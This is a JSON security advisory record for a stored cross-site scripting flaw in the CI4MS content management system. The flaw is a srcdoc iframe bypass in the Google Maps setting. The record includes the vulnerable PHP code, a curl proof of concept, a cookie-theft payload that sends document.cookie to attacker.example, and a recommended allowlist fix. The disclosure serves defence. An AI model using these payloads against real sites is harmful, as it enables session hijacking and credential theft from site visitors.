{"id":"CVE-2026-39390","aliases":["GHSA-x3hr-cp7x-44r2"],"url":"https://o3.security/vulnerability/CVE-2026-39390","summary":"CI4MS has Stored XSS via srcdoc attribute bypass in Google Maps iframe setting","details":"## Summary\n\nThe Google Maps iframe setting (`cMap` field) in `compInfosPost()` sanitizes input using `strip_tags()` with an `<iframe>` allowlist and regex-based removal of `on\\w+` event handlers. However, the `srcdoc` attribute is not an event handler and passes all filters. An attacker with admin settings access can inject an `<iframe srcdoc=\"...\">` payload with HTML-entity-encoded JavaScript that executes in the context of the parent page when rendered to unauthenticated frontend visitors.\n\n## Details\n\n**Input sanitization** (`modules/Settings/Controllers/Settings.php:49-53`):\n\n```php\n$mapValue = trim(strip_tags($this->request->getPost('cMap'), '<iframe>'));\n$mapValue = preg_replace('/\\bon\\w+\\s*=\\s*\"[^\"]*\"/i', '', $mapValue);\n$mapValue = preg_replace('/\\bon\\w+\\s*=\\s*\\'[^\\']*\\'/i', '', $mapValue);\n$mapValue = preg_replace('/\\bon\\w+\\s*=\\s*[^\\s>]+/i', '', $mapValue);\nsetting()->set('Gmap.map_iframe', $mapValue);\n```\n\nThe three regex patterns only match attributes beginning with `on` (e.g., `onclick`, `onerror`). The `srcdoc` attribute does not begin with `on` and passes through untouched.\n\n**Output rendering** (`app/Views/templates/default/gmapiframe.php:3`):\n\n```php\n<?php echo strip_tags($settings->map_iframe,'<iframe>') ?>\n```\n\nThe output applies `strip_tags` with the same `<iframe>` allowlist but performs no attribute filtering or HTML encoding. The stored payload is rendered verbatim.\n\n**Why HTML entities bypass `strip_tags`**: A payload like `<iframe srcdoc=\"&lt;script&gt;alert(1)&lt;/script&gt;\">` contains only one tag (`<iframe>`), which is in the allowlist. The entity-encoded content (`&lt;script&gt;`) is not recognized as a tag by `strip_tags`. However, when the browser renders the `srcdoc` attribute, it decodes the HTML entities and creates a new browsing context containing `<script>alert(1)</script>`.\n\n**Why this is same-origin**: Per the HTML specification, an `<iframe srcdoc=\"...\">` without a `sandbox` attribute inherits the parent document's origin. The injected script has full access to the parent page's cookies, DOM, and session.\n\n## PoC\n\n**Prerequisites**: Authenticated admin session with `update` role on the Settings module.\n\n**Step 1: Inject the payload**\n\n```bash\ncurl -X POST 'https://target/backend/settings/compInfos' \\\n  -H 'Cookie: ci_session=ADMIN_SESSION_ID' \\\n  -d 'cName=TestCo&cAddress=123+Main+St&cPhone=1234567890&cMail=admin@example.com&cMap=%3Ciframe+srcdoc%3D%22%26lt%3Bscript%26gt%3Balert(document.domain)%26lt%3B%2Fscript%26gt%3B%22%3E%3C%2Fiframe%3E'\n```\n\nThe `cMap` value decodes to:\n```html\n<iframe srcdoc=\"&lt;script&gt;alert(document.domain)&lt;/script&gt;\"></iframe>\n```\n\n**Step 2: Visit any public page that includes the Google Maps widget**\n\nNavigate to the frontend contact or footer page as an unauthenticated visitor. The browser renders the `srcdoc` iframe, decodes the entities, and executes the script in the parent page's origin.\n\n**Expected result**: JavaScript `alert(document.domain)` fires showing the target's domain, confirming same-origin execution.\n\n**Cookie theft variant**:\n```\n<iframe srcdoc=\"&lt;script&gt;document.location='https://attacker.example/steal?c='+document.cookie&lt;/script&gt;\"></iframe>\n```\n\n## Impact\n\n- **Stored XSS affecting all frontend visitors**: The payload persists in the settings database and executes for every unauthenticated visitor viewing pages that include the Google Maps iframe widget.\n- **Session hijacking**: The script executes in the parent page's origin, giving access to session cookies (unless HttpOnly is set) and the full DOM.\n- **Credential theft**: An attacker can inject a fake login form or redirect users to a phishing page.\n- **Scope change**: The attack crosses from the admin backend trust boundary to the public frontend, affecting users who have no relationship with the backend.\n\nThe attack requires a compromised or malicious admin account with settings update permission. While this is a privileged starting point (PR:H), the impact crosses to all unauthenticated visitors (S:C), justifying Medium severity.\n\n## Recommended Fix\n\nReplace the regex-based attribute blocklist with a strict allowlist approach. Only allow `src`, `width`, `height`, `frameborder`, `style`, `allowfullscreen`, and `loading` attributes on iframe tags:\n\n```php\n// In modules/Settings/Controllers/Settings.php, replace lines 49-52:\n$mapValue = trim(strip_tags($this->request->getPost('cMap'), '<iframe>'));\n// Strip all attributes except safe ones for iframes\n$mapValue = preg_replace_callback(\n    '/<iframe\\s+([^>]*)>/i',\n    function ($matches) {\n        $allowedAttrs = ['src', 'width', 'height', 'frameborder', 'style', 'allowfullscreen', 'loading', 'title'];\n        preg_match_all('/(\\w+)\\s*=\\s*(?:\"([^\"]*)\"|\\'([^\\']*)\\'|(\\S+))/i', $matches[1], $attrs, PREG_SET_ORDER);\n        $safe = '';\n        foreach ($attrs as $attr) {\n            $name = strtolower($attr[1]);\n            $value = $attr[2] ?: $attr[3] ?: $attr[4];\n            if (in_array($name, $allowedAttrs, true)) {\n                // For src, only allow https URLs (block javascript: etc.)\n                if ($name === 'src' && !preg_match('#^https://#i', $value)) {\n                    continue;\n                }\n                $safe .= ' ' . $name . '=\"' . esc($value) . '\"';\n            }\n        }\n        return '<iframe' . $safe . '>';\n    },\n    $mapValue\n);\n```\n\nThis allowlist approach ensures that dangerous attributes like `srcdoc`, `src` with `javascript:` protocol, and any future dangerous attributes are blocked by default.","published":"2026-04-08T14:29:28.500Z","modified":"2026-08-12T03:51:27.477161625Z","cvss":{"score":5.5,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Packagist","name":"ci4-cms-erp/ci4ms","fixedVersion":"0.31.4.0"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/39xxx/CVE-2026-39390.json"},{"type":"ADVISORY","url":"https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-x3hr-cp7x-44r2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39390"},{"type":"PACKAGE","url":"https://github.com/ci4-cms-erp/ci4ms"},{"type":"WEB","url":"https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.4.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:27.477161625Z"}}